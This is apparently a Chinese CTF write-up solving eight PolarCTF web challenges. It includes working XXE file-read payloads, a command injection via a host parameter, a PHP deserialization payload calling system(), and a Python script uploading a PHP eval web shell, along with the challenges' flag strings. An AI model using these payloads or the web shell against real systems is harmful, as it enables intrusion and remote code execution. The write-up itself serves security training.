web部分中等题目

1.ExX?

看见一个phpinfo的页面目前没啥思路直接用dir扫一下

直接访问

发现了xml句眼,加上题目的提示直接xxe注入一下看看是否能用命令直接得到flag.php这个答案

<?xml version="1.0"?>

<!DOCTYPE root [

<!ENTITY xxe SYSTEM "file://flag.php">

]>

<root>&xxe;</root>

发现没有再尝试xxe加伪协议

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE root [

<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=flagggg.php">

]>

<root>&file;</root>

PD9waHANCi8vZmxhZ3s3ZTk3ZThjNGY5ZDZiZTM1YWU4NTAwYjlmYjJjZGQzZX0NCg==解码

flag{7e97e8c4f9d6be35ae8500b9fb2cdd3e}

2.EZ_Host

进去就看到这句话Welcome to the CTF challenge! Use /?host=YOUR_HOST to play.

http://cfe35e40-a16e-4e7d-9412-0c22d0c586aa.www.polarctf.com:8090/?host=127.0.0.1

弹出

复制代码
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.034 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.034/0.034/0.034 ms

尝试命令执行http://cfe35e40-a16e-4e7d-9412-0c22d0c586aa.www.polarctf.com:8090//?host=127.0.0.1;%20ls

发现有个flag

访问http://cfe35e40-a16e-4e7d-9412-0c22d0c586aa.www.polarctf.com:8090/flag

3.传马

看题目就是上传木马然后访问后门得到shell

直接上传图片码试试然后修改后缀为php

得到上传路径然后访问就行http://8c927375-bf6b-452f-ae53-2ed2b7dbb233.www.polarctf.com:8090/upload/1.php

得到flag{420F9CED0C3E6CE65A90817A65197A09}

4.笑傲上传

应该跟上面的差不多

这里多了上传路径的要求

function checkFile() {

var file = document.getElementsByName('upload_file')[0].value;

if (file == null || file == "") {

alert("请选择要上传的文件!");

return false;

}

//定义允许上传的文件类型

var allow_ext = ".jpg|.png|.gif";

//提取上传文件的类型

var ext_name = file.substring(file.lastIndexOf("."));

//判断上传文件类型是否允许上传

if (allow_ext.indexOf(ext_name) == -1) {

var errMsg = "你别真传啊! " + ext_name + "是不可以的";

alert(errMsg);

return false;

}

}

</script>

发现了文件包含的漏洞

最后:flag{dfbb09ce0b4ae994b2a8249b810ea22d}

5.序列一下

<?php

class Polar{

public $url = 'polarctf.com';

public $lt;

public $b;

function __destruct()

{

a = this->lt;

a(this->b);

}

}

unserialize($_POST['x']);

highlight_file(FILE);

?>

代码审计:

反序列化问题,post传参x,一个class,三个公共的对象,然后一个魔术方法。

复制代码
function __destruct() {
        $a = $this->lt;
        $a($this->b);

直接利用这段代码来实现命令执行

序列化代码

<?php

class Polar {

public $url = 'polarctf.com';

public $lt = 'system';

public $b = 'cat flag.php';

}

echo serialize(new Polar());

?>

最后的payload:x=O:5:"Polar":3:{s:3:"url";s:12:"polarctf.com";s:2:"lt";s:6:"system";s:1:"b";s:9:"cat /flag";} flag{425d24d5f338640619b0760a358bdf9f}

6.坏掉的上传页

下面写着你的上传页被破坏了

尝试把上传功能给恢复直接ai了,根据源代码

或者是你直接使用py文件来上传一个文件就行

复制代码
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
作者:lxy
日期:2026年03月19日
"""
import requests

url = "http://72e1866b-5477-44ec-b9e8-55617c4f3944.www.polarctf.com:8090/"

files = {
    'file': ('1.php',
    b'<?php @eval($_POST["cmd"]); ?>',
    'image/jpeg')
}

response = requests.post(url, files=files)
print(response.text)

开始上传后门文件

然后dir扫一下发现了config.php目录

然后

<?php

error_reporting(0);

show_source(FILE);

define("DB_FILE", UPLOAD_PATH . "database.db");

?>

发现了这个数据库,应该是我们上传后有一个明显的路径

复制代码
 ./uploadsabc/file_69bc0f421755d4.39572116.php

flag{73b974596dc61737dbe1d52ec2e84433}

7.xxmmll

进去的页面就看见这个但是看见是应该还是比较简单的

直接先去看原码然后再去用dir扫一下目录

复制代码
FLAG: flag{ce22bbe170d234645361239b395dbc5d} 

8.Note

笔记本里面应该有详细的信息,dir扫一下

http://f1265064-3c90-4dc3-8191-06845ed8e774.www.polarctf.com:8090/flag.txt

复制代码
flag{4596b24ab4ffcaf5472e9db97d21a3a1}
相关推荐
opbr几秒前
还在手写 env 类型定义?这个 Vite 插件帮你自动搞定!
前端·vite
Qinana几秒前
前端正则表达式全解:从基础语法到实战应用
前端·javascript·面试
烟话66 分钟前
vue3响应式基础
前端·javascript·vue.js
野生技术架构师7 分钟前
一个简单SQL的深度解析
android·数据库·sql
zh_xuan8 分钟前
Android SharedFlow实现事件总线
android·sharedflow
boombb9 分钟前
用户反馈入口
前端
im_AMBER11 分钟前
万字长文:手撕JS深浅拷贝完全指南
前端·javascript·面试
坏小虎11 分钟前
Expo 快速创建 Android/iOS 应用开发指南
android·ios·rn·expo
csj5011 分钟前
安卓基础之《(27)—真机调试》
android
brahmsjiang13 分钟前
理解Android AOT编译与内存映射:从Zygote启动到页表权限隔离
android·linux·zygote